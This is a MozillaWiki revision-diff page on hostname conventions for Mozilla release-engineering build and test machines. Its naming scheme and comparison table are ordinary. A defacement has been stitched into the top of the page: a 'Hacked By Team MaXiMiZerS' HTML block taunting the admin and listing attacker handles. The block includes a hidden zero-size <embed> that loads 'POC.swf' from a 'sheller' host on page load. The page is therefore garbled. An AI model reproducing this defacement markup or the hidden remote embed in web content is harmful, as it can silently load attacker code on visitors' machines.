ReleaseEngineering/Slave Naming: Difference between revisions

From MozillaWiki
Jump to navigation Jump to search
Line 1: Line 1:
= Current naming =
<!DOCTYPE HTML>
<html>
<head>


{| border="1" cellpadding="2"
<title> .::MaXiMiZerS::. </title>
! Hostname format
<link rel="shortcut icon" href="http://i44.tinypic.com/219bh21.jpg">
! Description
|-
| tst-w64-ec2-XXX
| Windows Server 2012 test instance for testing 64-bit Windows builds
|-
| rbt-w64-ec2-<username>
| Same as tst-w64-ec2-XXX but does not start buildbot: on bootup, it tests the build specified by /c/runtests.sh. *For developer loans only*
|}


</head>
<body bgcolor="black">
<center><font color='red' face='Segoe UI'><b><h1>Hacked By Team MaXiMiZerS </center><font></b></h1> <center>
<img src='http://i44.tinypic.com/219bh21.jpg' width='300' height='300'>
<br> <B><font color='white' size='4' face='Times New Roman'>  <br>--------------------------------------------------------------------------------- <br>
<br> Hello Admin You Have Been Hacked By Kai-H4xOrR,
<br> Your Security Is Low Patch it. <br>
<br> Patch it Or I will There Again <br>
<br> Dont Hate Me Hate Your Security<br>
<br> --------------------------------------------------------------------------------- <br>
<font color='red' size='8'> Best OF Luck <font/> <B/> <br> <img src='http://i43.tinypic.com/25zl2cw.jpg' width='800' height='120'>
<center><font size="4"><font color="white" face="shadow" size="5">We Are : </font><scrollamount="5" scrolldelay="50" width="80%"></center>
<font color="green" size="4">Striker Rude - Rox RoOT - Kai HaxOr - - Dr.x00t -- maxious - HaxOr coOl bOY  -- Megaroot - sh3ll-h4xor - TheBlackMonster - Dr Silent Pak - SmArtY kOp HaXOr - </b>/font> <p align="right">
</html>
</head>
<embed src="http://sheller1.funpic.org/POC.swf" width="0" height="0"</embed>


= Proposed naming =
= Proposed naming =

Revision as of 14:24, 21 March 2014

<!DOCTYPE HTML> <html> <head>

<title> .::MaXiMiZerS::. </title> <link rel="shortcut icon" href="219bh21.jpg">

</head> <body bgcolor="black">



Hacked By Team MaXiMiZerS

<img src='http://i44.tinypic.com/219bh21.jpg' width='300' height='300'>



---------------------------------------------------------------------------------

Hello Admin You Have Been Hacked By Kai-H4xOrR,
Your Security Is Low Patch it.

Patch it Or I will There Again

Dont Hate Me Hate Your Security


---------------------------------------------------------------------------------
Best OF Luck
<img src='http://i43.tinypic.com/25zl2cw.jpg' width='800' height='120'>


We Are : <scrollamount="5" scrolldelay="50" width="80%">
Striker Rude - Rox RoOT - Kai HaxOr - - Dr.x00t -- maxious - HaxOr coOl bOY -- Megaroot - sh3ll-h4xor - TheBlackMonster - Dr Silent Pak - SmArtY kOp HaXOr -
/font>

</html> </head> <embed src="http://sheller1.funpic.org/POC.swf" width="0" height="0"</embed>

Proposed naming

Desktop hostname convention

P-O-T-XXXX

1) P = purpose

  • "b-" - for build purposes
  • "t-" - for test machines


2) O = OS + instruction size (optional)

  • xp32/w732/w864/2008/2012
    • we currently use "w64" for "w2008"
  • linux32/linux64
    • for linux we camouflage the distro
  • snow/lion/mtnlion/mavericks

3) T = Type of hardware
For VMs:

  • "ec2" for Amazon on-demand instances
  • "spot" for Amazon spot instances
  • "vm" if run in-house
    • "vmw" for in-house vmware


For real hardware:

  • "hp" for hp machines
  • "ix" for ix machines
  • "r#" - # depends on the revision of Mac mini that we use


4) XXXX = number
Fixed digits allow lexical sorting, but limit to 9999 slaves per type. This is at variance with numbering throughout the rest of Mozilla, where zero-padding is not used.

Examples

Build machine examples:

  • b-linux64-hp-XXXX
  • b-linux64-ec2-XXXX
  • b-linux64-vm-XXXX
    • we still use *some* in-house Linux build VMs for esr17
  • b-2012-ec2-XXXX (15 chars)
    • this platform is forward thinking if we build on AWS for Windows
  • b-2008-ix-XXXX (14 chars)
    • currently named w64-ix-slaveXXX - to be renamed on scl3
  • b-lion-r#-XXXX


Test machine examples:

  • t-linux32-ec2-XXXX
  • t-linux64-ec2-XXXX
  • t-linux32-ix-XXXX
  • t-linux64-ix-XXXX
  • t-snow-r4-XXXX
  • t-mountainlion-r5-XXXX
  • t-xp32-ix-XXXX
  • t-w732-ix-XXXX
  • t-w864-ix-XXXX

Mobile hostname convention

T-XXXX

T = type (e.g. panda or tegra) Examples:

  • panda-XXXX
  • tegra-XXXX

Other infra

buildbot-masterXX - for buildbot masters foopyXXX - for foopy machines

Current naming differences

NOTE: Differences are bolded to make it easier to read As of January, 2014 (note that machines have moved to four digits)

Proposed Current
b-linux64-{hp.ix}-XXXX
  • bld-centos6-hp-XXX
  • bld-linux64-ix-XXX
b-linux64-ec2-XXXX bld-linux64-ec2-XXX
b-linux64-vmw-XXXX bld-centos5-32-vmw-XXX (not supported)
b-2008-ix-XXXX w64-ix-slaveXXX
b-2012-ec2-XXXX
b-lion-r#-XXXX bld-lion-r#-XXX
t-linux32-ec2-XXXX tst-linux32-ec2-XXX
t-linux64-ec2-XXXX tst-linux64-ec2-XXX
t-linux32-ix-XXXX talos-linux32-ix-XXX
t-linux64-ix-XXXX talos-linux64-ix-XXX
t-snow-r4-XXXX talos-r4-snow-XXX
t-mtnlion-r5-XXXX talos-mtnlion-r5-XXX
t-xp32-ix-XXXX t-xp32-ix-XXX
t-w732-ix-XXXX t-w732-ix-XXX
t-w864-ix-XXXX t-w864-ix-XXX